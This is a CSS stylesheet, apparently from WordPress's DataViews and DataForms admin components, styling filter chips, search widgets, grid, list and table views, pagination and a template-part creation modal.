@media not (prefers-reduced-motion){
  .dataviews-filters__container,.dataviews__view-actions{
    transition:padding .1s ease-out;
  }
}

.dataviews-loading,.dataviews-no-results{
  align-items:center;
  display:flex;
  flex-grow:1;
  justify-content:center;
  padding:0 48px;
}
@media not (prefers-reduced-motion){
  .dataviews-loading,.dataviews-no-results{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-filters__container,.dataviews__view-actions{
    padding:12px 24px;
  }
  .dataviews-loading,.dataviews-no-results{
    padding-left:24px;
    padding-right:24px;
  }
}
.dataviews-title-field{
  font-size:13px;
  font-weight:500;
  width:100%;
}
.dataviews-title-field,.dataviews-title-field a{
  color:#2f2f2f;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.dataviews-title-field a{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
}
.dataviews-title-field a:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-title-field button.components-button.is-link{
  color:#1e1e1e;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-title-field button.components-button.is-link:hover{
  color:var(--wp-admin-theme-color);
}

.dataviews-title-field--clickable{
  color:#2f2f2f;
  cursor:pointer;
}
.dataviews-title-field--clickable:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field--clickable:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}

.dataviews-bulk-actions-footer__item-count{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-bulk-actions-footer__container{
  margin-right:auto;
  min-height:32px;
}

.dataviews-filters__button{
  position:relative;
}

.dataviews-filters__container{
  padding-top:0;
}

.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{
  opacity:0;
}
.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{
  opacity:1;
}

.dataviews-filters__summary-popover{
  font-size:13px;
  line-height:1.4;
}
.dataviews-filters__summary-popover .components-popover__content{
  border-radius:4px;
  width:230px;
}
.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{
  padding:0;
}

.dataviews-filters__summary-operators-container{
  padding:8px 8px 0;
}
.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){
  border-bottom:1px solid #e0e0e0;
  padding-bottom:8px;
}
.dataviews-filters__summary-operators-container:empty{
  display:none;
}
.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{
  color:#757575;
}

.dataviews-filters__summary-chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:flex;
  min-height:32px;
  padding:4px 12px;
  position:relative;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{
  font-weight:500;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  padding:0;
  position:absolute;
  right:4px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{
  fill:#757575;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.dataviews-filters__search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}

.dataviews-filters__search-widget-listbox{
  overflow:auto;
  padding:4px;
}

.dataviews-filters__search-widget-listitem{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-filters__search-widget-listitem:last-child{
  margin-block-end:0;
}
.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{
  fill:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{
  color:#fff;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-filters__search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 32px 0 8px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  position:absolute;
  right:12px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filters__container-visibility-toggle{
  flex-shrink:0;
  position:relative;
}

.dataviews-filters-toggle__count{
  background:var(--wp-admin-theme-color, #3858e9);
  border-radius:8px;
  box-sizing:border-box;
  color:#fff;
  font-size:11px;
  height:16px;
  line-height:16px;
  min-width:16px;
  outline:var(--wp-admin-border-width-focus) solid #fff;
  padding:0 4px;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  transform:translate(50%, -50%);
}

.dataviews-search{
  width:fit-content;
}

.dataviews-footer{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  flex-shrink:0;
  left:0;
  padding:12px 48px;
  position:sticky;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .dataviews-footer{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-footer{
    padding:12px 24px;
  }
}
@container (max-width: 560px){
  .dataviews-footer{
    flex-direction:column !important;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__container{
    width:100%;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__item-count{
    flex-grow:1;
  }
  .dataviews-footer .dataviews-pagination{
    justify-content:space-between;
    width:100%;
  }
}
.dataviews-pagination__page-select{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .dataviews-pagination__page-select .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-selection-checkbox{
  --checkbox-input-size:24px;
  flex-shrink:0;
  line-height:0;
}
@media (min-width:600px){
  .dataviews-selection-checkbox{
    --checkbox-input-size:16px;
  }
}
.dataviews-selection-checkbox .components-checkbox-control__input-container{
  margin:0;
}

.dataviews-view-config{
  container-type:inline-size;
  font-size:13px;
  line-height:1.4;
  width:320px;
}

.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{
  height:100%;
  overflow-y:scroll;
}
.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{
  width:auto;
}

.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{
  text-transform:uppercase;
}

.dataviews-settings-section__title.dataviews-settings-section__title{
  font-size:15px;
  line-height:24px;
}

.dataviews-settings-section__sidebar{
  grid-column:span 4;
}

.dataviews-settings-section__content,.dataviews-settings-section__content>*{
  grid-column:span 8;
}

.dataviews-settings-section__content .is-divided-in-two{
  display:contents;
}
.dataviews-settings-section__content .is-divided-in-two>*{
  grid-column:span 4;
}

.dataviews-settings-section:has(.dataviews-settings-section__content:empty){
  display:none;
}

@container (max-width: 500px){
  .dataviews-settings-section.dataviews-settings-section{
    grid-template-columns:repeat(2, 1fr);
  }
  .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{
    grid-column:span 2;
  }
}
.dataviews-field-control__field{
  height:32px;
}

.dataviews-field-control__actions{
  position:absolute;
  top:-9999em;
}

.dataviews-field-control__actions.dataviews-field-control__actions{
  gap:4px;
}

.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{
  position:unset;
  top:unset;
}

.dataviews-field-control__icon{
  display:flex;
  width:24px;
}

.dataviews-field-control__label-sub-label-container{
  flex-grow:1;
}

.dataviews-field-control__label{
  display:block;
}

.dataviews-field-control__sub-label{
  color:#757575;
  font-size:11px;
  font-style:normal;
  margin-bottom:0;
  margin-top:8px;
}

.dataviews-view-grid{
  container-type:inline-size;
  grid-template-rows:max-content;
  margin-bottom:auto;
  padding:0 48px 24px;
}
@media not (prefers-reduced-motion){
  .dataviews-view-grid{
    transition:padding .1s ease-out;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  height:100%;
  justify-content:flex-start;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:8px 0 4px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{
  align-items:center;
  display:flex;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{
  width:fit-content;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-radius:4px;
  min-height:200px;
  position:relative;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  pointer-events:none;
  position:absolute;
  top:0;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 0 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){
  line-height:20px;
  min-height:24px;
  padding-top:2px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{
  align-items:center;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{
  color:#757575;
  width:35%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:65%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){
  display:none;
}
.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){
  padding-bottom:12px;
}
@container (max-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(1, minmax(0, 1fr));
    padding-left:24px;
    padding-right:24px;
  }
}
@container (min-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(2, minmax(0, 1fr));
  }
}
@container (min-width: 780px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr));
  }
}
@container (min-width: 1140px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr));
  }
}
@container (min-width: 1520px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(5, minmax(0, 1fr));
  }
}

.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{
  display:none;
}

.dataviews-view-grid__card .dataviews-selection-checkbox{
  left:8px;
  position:absolute;
  top:-9999em;
  z-index:1;
}

.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{
  top:8px;
}

.dataviews-view-grid__media--clickable{
  cursor:pointer;
}

div.dataviews-view-list{
  list-style-type:none;
}

.dataviews-view-list{
  margin:0 0 auto;
}
.dataviews-view-list div[role=row]{
  border-top:1px solid #f0f0f0;
  margin:0;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{
  box-sizing:border-box;
  padding:16px 24px;
  position:relative;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{
  flex:0;
  overflow:hidden;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{
  height:24px;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{
  opacity:0;
  position:relative;
  z-index:1;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{
  flex-basis:min-content;
  overflow:unset;
  padding-inline-end:4px;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{
  opacity:1;
}
.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{
  color:#1e1e1e;
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{
  background-color:#f8f8f8;
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#1e1e1e;
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list .dataviews-view-list__item{
  appearance:none;
  background:none;
  border:none;
  cursor:pointer;
  inset:0;
  padding:0;
  position:absolute;
  scroll-margin:8px 0;
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible{
  outline:none;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible:before{
  border-radius:2px;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.dataviews-view-list .dataviews-view-list__title-field{
  flex:1;
  line-height:24px;
  min-height:24px;
  overflow:hidden;
}
.dataviews-view-list .dataviews-view-list__title-field:has(a,button){
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:52px;
  overflow:hidden;
  position:relative;
  width:52px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__field-wrapper{
  flex-grow:1;
  min-height:52px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:12px;
  row-gap:4px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{
  display:none;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{
  align-items:center;
  display:flex;
  line-height:20px;
  min-height:24px;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  margin-bottom:auto;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table th{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  text-align:left;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{
  text-align:right;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-right:0;
  width:1%;
}
.dataviews-view-table tr{
  border-top:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-left:48px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-left:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-right:48px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr.is-hovered{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{
  opacity:1;
}
.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:0;
}
.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:1;
}
@media (hover:none){
  .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
    opacity:1;
  }
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-left:12px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-left:4px;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){
  min-height:0;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-left:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-left:0;
}
.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{
  padding:4px 8px;
}
.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{
  padding:16px 12px;
}
.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{
  padding-right:0;
}

@container (max-width: 430px){
  .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
    padding-left:24px;
  }
  .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
    padding-right:24px;
  }
}
.dataviews-view-table-selection-checkbox{
  --checkbox-input-size:24px;
}
@media (min-width:600px){
  .dataviews-view-table-selection-checkbox{
    --checkbox-input-size:16px;
  }
}

.dataviews-column-primary__media{
  max-width:60px;
}

.dataviews-controls__datetime{
  border:none;
  padding:0;
}

.dataforms-layouts-panel__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-panel__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-panel__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.dataforms-layouts-panel__field-control .components-button{
  max-width:100%;
  min-height:32px;
  text-align:left;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.dataforms-layouts-panel__field-control .components-dropdown{
  max-width:100%;
}

.dataforms-layouts-panel__field-dropdown .components-popover__content{
  min-width:320px;
  padding:16px;
}

.dataforms-layouts-panel__dropdown-header{
  margin-bottom:16px;
}

.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{
  z-index:159990;
}

.dataforms-layouts-regular__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-regular__field .components-base-control__label{
  font-size:inherit;
  font-weight:400;
  text-transform:none;
}

.dataforms-layouts-regular__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-regular__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}

.fields-create-template-part-modal{
  z-index:1000001;
}

.fields-create-template-part-modal__area-radio-group{
  border:1px solid #949494;
  border-radius:2px;
}

.fields-create-template-part-modal__area-radio-wrapper{
  align-items:center;
  display:grid;
  grid-template-columns:min-content 1fr min-content;
  padding:12px;
  position:relative;
  grid-gap:4px 8px;
  color:#1e1e1e;
}
.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{
  border-top:1px solid #949494;
}
.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{
  opacity:0;
  position:absolute;
}
.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){
  z-index:1;
}
.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{
  color:var(--wp-admin-theme-color);
}
.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){
  pointer-events:none;
}

.fields-create-template-part-modal__area-radio-label:before{
  content:"";
  inset:0;
  position:absolute;
}
